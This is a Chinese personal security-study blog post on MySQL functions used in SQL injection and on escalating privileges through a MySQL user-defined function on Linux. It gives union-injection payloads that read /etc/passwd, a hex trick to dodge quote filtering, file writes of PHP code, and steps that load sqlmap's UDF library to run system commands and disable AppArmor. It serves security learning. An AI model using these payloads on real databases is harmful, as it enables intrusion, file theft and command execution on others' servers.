文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2019-09-05   1k

Web安全学习之数据库系统功能相关学习

任务目标

  1. 学习数据库自带函数的功能和用法(思考在什么情况下可以使用);
  2. 将所有涉及的函数进行测试并举例说明其用法;
  3. 扩展学习:针对不同数据库构造所需环境,尝试执行系统命令。

0x01 MySQL常用函数

在进行sql注入过程中,会使用到mysql中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。
信息函数是用来获取mysql中的数据库的信息,功能函数就是传统的函数用来完成某项操作。

  1. 常用的信息函数

    • database():用于获取当前使用的数据库信息

    • version():返回数据库的版本

    • user():返回当前的用户(等价于current_user参数)

    • @@datadir:获取数据库的存储位置

  2. 常见的功能函数

    • load_file():从计算机中载入文件,读取文件中的数据

      1
      2
      select * from table union select 1, load_file('/etc/passwd'), 3
      select * from table union select 1, load_file(0x2F6574632F706173737764), 3 #使用十六进制绕过单引号限制
    • into_outfile():写入文件,前提是具有写入条件

      1
      select '<?php phpinfo(); ?>' into outfile '/tmp/xxx.php';
    • concat():返回两个参数相连接产生的字符串。如果其中一个参数为NULL,则返回值为NULL。

    • group_concat():用于合并多条记录中的结果。用法如下:

      返回的就是users表中所有的用户名,并且是作为一条记录返回。

    • substr():用于截断字符串。用法为:substr(str, pos, length),注意pos是从1开始的。

    • ascii():返回字符所对应的ascii码。

      1
      select ascii('a');          #返回97
    • length():返回字符串的长度。

      1
      select length('123456')     #返回6
    • if(exp1, exp2, exp3):如果exp1是True,则返回exp2;否则返回exp3。如:

      1
      2
      select 1,2,if(1=1,3,-1) #1,2,3
      select 1,2,if(1=2,3,-1) #1,2,-1
    • ifnull(exp1, exp2):如果exp1是True,则返回exp1;否则返回exp2。如:

      1
      select ifnull(sleep(2), 2);
    • nullif(exp1, exp2):如果exp1==exp2,则返回Null;否则返回exp2。

    以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。

0x02 Linux MySQL UDF提权

Step1 获取UDF文件

  1. 查看MySQL版本

    1
    select version();

    Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下

  2. 查找Plugin目录

    1
    select @@plugin_dir;

  3. 查看系统版本

    1
    2
    show variables like '%compile%';

  4. 在Kali Linux中找到合适的UDF

    1567644797501

    注:新版sqlmap 为了防止文件被误杀,对文件进行异或加密,需要使用/usr/share/sqlmap/extra/cloak/路径下的cloak.py解密脚本对lib_mysqludf_sys.so_进行解码,即python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_得到lib_mysqludf_sys.so文件

Step2 上传UDF文件

  1. 首先确保MySQL允许对任意路径进行读写操作,即secure_file_priv =

  2. lib_mysqludf_sys.so传至/tmp/路径下,使用load_file()对其读取,并转换成十六进制文件后再写入/tmp/目录下:

    1
    2
    select hex(load_file('/tmp/lib_mysqludf_sys.so')) into dumpfile '/tmp/udf.hex'

  3. 读取udf.hex文件的内容,并上传至/usr/bin/mysql/plugin/

    1
    2
    select 0x[udf.hex内容] into dumpfile '/usr/bin/mysql/plugin/udf.so'

Step3 执行命令

  1. 安装UDF

    1
    2
    create function sys_eval returns string sonme 'udf.so';

  2. 执行系统命令

0x03 踩过的坑

  1. 在设置 secure_file_privilege='' 且目录权限为 777load_file() 无法读取文件。

  2. 无法上传udf.so/usr/bin/mysql/plugin/目录。

    • 检查该目录的其他组用户受否有读写权限
    • 检查文件的用户组是否是属于mysql
  3. 上传udf.so至指定目录后,create function失败。

    • UDF使用的版本和本机环境不匹配
    • 没有对sqlmap中的UDF文件进行解码操作
  4. 使用select sys_eval();执行命令返回NULL

    取消Apparmor对mysqld service的限制

    简单来说就是执行下面两个命令:

    1
    2
    3
    sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
    sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

Copyright © ca01h 2019-2020 | 本站总访问量